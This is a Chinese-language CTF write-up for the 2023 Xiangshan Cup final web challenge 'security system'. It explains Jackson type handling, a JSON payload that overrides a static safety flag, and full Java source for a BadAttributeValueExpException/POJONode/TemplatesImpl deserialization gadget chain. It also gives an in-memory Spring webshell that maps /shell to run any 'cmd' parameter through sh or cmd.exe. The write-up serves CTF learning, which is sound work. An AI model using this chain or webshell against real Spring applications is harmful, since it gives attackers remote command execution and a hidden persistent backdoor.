【Web】2023香山杯决赛 security system 题解

作者 : admin 本文共7147个字,预计阅读时间需要18分钟 发布时间: 2024-06-9 共3人阅读

目录

step -1

step 0

step 1 

step 2

step 3


step -1

①题目hint:想办法修改属性值后进入java的原生反序列化,然后利用jackson链写入内存马

②jackson反序列化基础:

ObjectMapper objectMapper = new ObjectMapper();
String jsonString = “{\”@type\”:\”com.example.Person\”,\”name\”:\”John\”,\”age\”:30}”;
Person person = objectMapper.readValue(jsonString, Person.class);

在这个示例中,Jackson会根据@type字段的值com.example.Person来确定应该创建一个Person对象,并将JSON中的其他属性值映射到该对象的属性上。

需要注意的是,在使用@type字段时,需要确保对应的Java类路径在类加载器的搜索路径上,并且Jackson的ObjectMapper能够访问到这些类。

③jackson性质:

如果在Jackson反序列化过程中,指定的目标类为 LinkedHashMap,而 JSON 字符串中包含了 @type 字段,那么 Jackson 会将 @type 字段作为 LinkedHashMap 的一个普通属性来处理,而不会将其视为 autotype。

假设有以下 JSON 数据:

{
  "@type": "com.example.Dog",
  "name": "Buddy",
  "breed": "Golden Retriever"
}

 @type 字段将被作为普通属性存储在 LinkedHashMap 中,而不会触发对应用于 Dog 类的自动类型解析。因此反序列化后的结果将是一个 LinkedHashMap 实例,其中包含了 @type 字段及其它属性。

step 0

pom依赖只有spring可以利用

【Web】2023香山杯决赛 security system 题解插图

反序列化入口有两处,第一处是jackson反序列化,第二处是无过滤的原生反序列化【Web】2023香山杯决赛 security system 题解插图(1)

step 1 

重点关注几个方法

①SecurityCheck.isSafe()

默认返回true,因为是static,所以可改属性值

【Web】2023香山杯决赛 security system 题解插图(2)

②SecurityCheck.ismap() 返回一个HashSet

【Web】2023香山杯决赛 security system 题解插图(3) 

HashSet的无参构造方法就是实例化一个HashMap并存进map属性中

【Web】2023香山杯决赛 security system 题解插图(4) 

 add的值,即HashMap的key就是HashSet的iterator所取的内容,而PRESENT作用是占位

 【Web】2023香山杯决赛 security system 题解插图(5)

 【Web】2023香山杯决赛 security system 题解插图(6)

 

③SecurityCheck.deObject

【Web】2023香山杯决赛 security system 题解插图(7)

这段代码主要用于在反序列化过程中,根据@type字段的值动态确定要创建的对象类型,并将LinkedHashMap中的属性值赋给对应的对象属性。

这也要求我们jackson反序列化得到的类要是LinkedHashMap或其子类

step 2

链子很简单

参考这篇文章:【Web】浅聊Jackson序列化getter的利用——POJONode_jackson反序列化调用getter-CSDN博客

BadAttributeValueExpException -> POJONode -> TemplatesImpl

但首先要在第一个反序列化入口打入属性覆盖,从而为进入第二个反序列化入口创造条件

注意因为指定了class与LinkedHashMap相关,这里的第一个@type是作为属性来处理

{"@type":"ctf.nese.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"反序列化字符串":""}}}

指定的class要继承LinkedHashMap,可以用org.springframework.core.annotation.AnnotationAttributes

【Web】2023香山杯决赛 security system 题解插图(8)

 【Web】2023香山杯决赛 security system 题解插图(9)

最终payload:

classes=org.springframework.core.annotation.AnnotationAttributes&obj={"@type":"com.example.jackson.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"序列化字符串":""}}}

step 3

生成序列化字符串

EXP.java

package com.example.jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class EXP {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        byte[] code = Repository.lookupClass(SpringMemShell.class).getBytes();
        byte[][] codes = {code};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "useless");
        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", codes);

        POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);

        setFieldValue(val, "val", node);

        byte[] poc = ser(val);
        System.out.println(Base64.getEncoder().encodeToString(poc));
    }
    public static byte[] ser(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
        return baos.toByteArray();
    }
    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

SpringMemShell

package com.example.jackson;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringMemShell extends AbstractTranslet{
    static {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/shell")
                    .options(config)
                    .build();
            SpringMemShell springControllerMemShell = new SpringMemShell();
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

        } catch (Exception hi) {
//            hi.printStackTrace();
        }
    }

    public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
        if (request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

 

 ​​​​​第一次打入来覆盖SecurityCheck【Web】2023香山杯决赛 security system 题解插图(10)

第二次打入来原生反序列化注入内存马 

 【Web】2023香山杯决赛 security system 题解插图(11)

成功写入,命令执行拿flag 

【Web】2023香山杯决赛 security system 题解插图(12)

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